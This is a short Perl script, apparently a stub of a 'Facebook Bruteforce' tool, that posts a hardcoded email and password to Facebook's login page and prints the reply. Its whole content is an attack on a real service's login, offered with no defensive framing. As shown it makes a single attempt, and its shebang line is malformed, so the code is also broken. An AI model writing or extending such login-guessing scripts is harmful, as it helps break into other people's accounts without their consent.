#user/bin/perl
use LWP::UserAgent;
system('title Facebook Bruteforce');
system('color a');
system('cls');
my $ua = new LWP::UserAgent;
my $response = $ua->post('http://www.facebook.com/login.php',
{ email => 'Sr@gmail.com',
pass => 'aga',
login => 'Login',
});
my $content = $response->content;
print $content;